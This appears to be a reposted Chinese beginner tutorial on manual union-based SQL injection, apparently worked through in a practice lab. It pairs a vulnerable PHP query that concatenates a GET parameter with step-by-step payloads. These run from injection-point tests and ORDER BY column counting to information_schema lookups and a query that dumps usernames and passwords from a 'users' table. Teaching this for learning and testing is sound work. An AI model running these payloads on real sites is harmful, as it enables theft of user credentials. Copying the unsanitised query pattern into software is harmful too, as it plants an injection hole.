龙空技术网

简单的SQL注入——入门

顷刻Minute 758

前言:

现在兄弟们对“查询users表列出用户的所有信息”可能比较关怀,朋友们都需要知道一些“查询users表列出用户的所有信息”的相关知识。那么小编同时在网摘上收集了一些对于“查询users表列出用户的所有信息””的相关文章,希望咱们能喜欢,看官们快快来了解一下吧!

导读:基本了解到SQL相关语句后,可以进行SQL注入的学习,其中又包括了很多种,今天先从最简单的开始。

一、SQL注入原理

SQL注入就是把SQL命令插入到Web表单然后提交到所在页面请求(查询字符串),从而达到欺骗服务器执行恶意的SQL命令。

它是利用现在已有的应用程序,将SQL语句插入到数据库中执行,执行一些并非按照设计者意图的SQL语句。

产生原因:是程序没有细致过滤用户输入的数据,从而导致非法数据进入系统。

相关技术原理:SQL注入可以分为平台层注入和代码注入。前者是由不安全的数据库配置或平台漏洞所致。或者是程序员对输入未进行细致过滤产生。

这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请求发给数据库的。

举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的‘领域’区来达到攻击的目的。

但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。必须根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。

二、从网页传入参数注入

这是SQL注入中最常见的方法,并且根据该注入原理有跟多SQL注入工具

同样,首先应测试是否存在注入漏洞,简单的:’ 或 and 1=1 and 1=2之类的SQL语句。

如果没有检测,直接运行SQL语句,说明有机会注入。

举例:

从参数注入,简单的测试方法是:

② ' and 1=1

③ ' and 1=2

可以注入的表现:

① 正常显示(这是必然的,不然程序就有错)

② 正常显示,内容基本与①相同

③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

先来看index.php文件

以下内容为部分程序代码:

……

$id=$_GET['id']; //接受get传递的参数名为id的值并赋值给变量id

......

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 把查询到的结果赋值给变量名sql

......

echo 'Your Login name:'. $row['username']; //在网页上显示字段名为username 的字段值

echo "<br>";

echo 'Your Password:' .$row['password'];

(1)猜表名:

' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 回显的就是你猜测的表名。

(2)猜字段名:

' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' limit 0,1 回显的就是字段名

如果不太懂,没关系,下面具体讲解:

三、注入具体步骤示例:

步骤:

1 先判断是否有注入点 and 1=1 and 1=2

2 再判断字段数量 order by x 如果页面回显正常,则字段数为 order by 后面的数字

3 使用联合查询 union

示例:

1. 网页中 相当于下面语句

所以在网页里需要自己输入闭合的一对引号 ' and 1=1 --+

' and 1=2 --+

判断‘ 后为注入点。

2、 查询当前表格的字段长度

' order by 3 --+ 结果显示正常

' order by 4 --+ 结果显示错误

得出有三个字段。

3、 用 union 语句查看当前是哪几位有效

' and 1=2 union select 1,2,3 --+ 结果为2和3 所以有效位为后两位

4、 根据有效位置为2、3位,所以可以更改这两位的变量,可查找当前的数据库名。

补充一点SQL基础:

1 select @@basedir 查询数据库安装路径

2 select @@datadir 查询数据库所在目录

3 select version() 查询数据库的版本

4 select user() 查询当前数据库的使用用户

5 select database() 当前使用数据库的名字

' and 1=2 union select 1,database(),3 --+

5、 查看当前数据库里有哪些表,查询之后一共就只有四个表。

(补充:

Mysql5.0以上版本手工注入

Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库

information_schema.schemata:存储mysql数据库下所有数据库的库名信息的表 (字段名为 schema_name的字段值)

information_schema.tables:存储mysql数据库下所有数据库的表名信息的表 (字段名为 table_name:表名

条件为 table_schema:数据库名 )

information_schema.columns:存储mysql数据库下所有数据库的列名信息的表 (字段名为column_name:的字段值))

6、 根据查询到的有用信息表user,想查看其表中有哪些属性即列名。

' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+

查询结果有三项分别为 id、username、password

7、 查看users表里面具体的用户信息。

' and 1=2 union select 1,username,password from users limit 0,1--+

一共查到了12个用户记录。

总结:要想实现注入,首先要找到注入点,使用联合查询的语句时都需要将语句写在一个闭合的空间内,这个空间就是通过查找注入点并添加的一个闭合的引号内。在网站中使用的查询语句在Mysql中都是可以实现的。

基本步骤:

一、找到注入点;

二、判断当前表的字段;

三、用联合语句查看哪几位是有效位;

四、查看当前数据库中有哪些表;

五、查看表中有哪些属性;

六、查看表中具体的数据信息。

标签: #查询users表列出用户的所有信息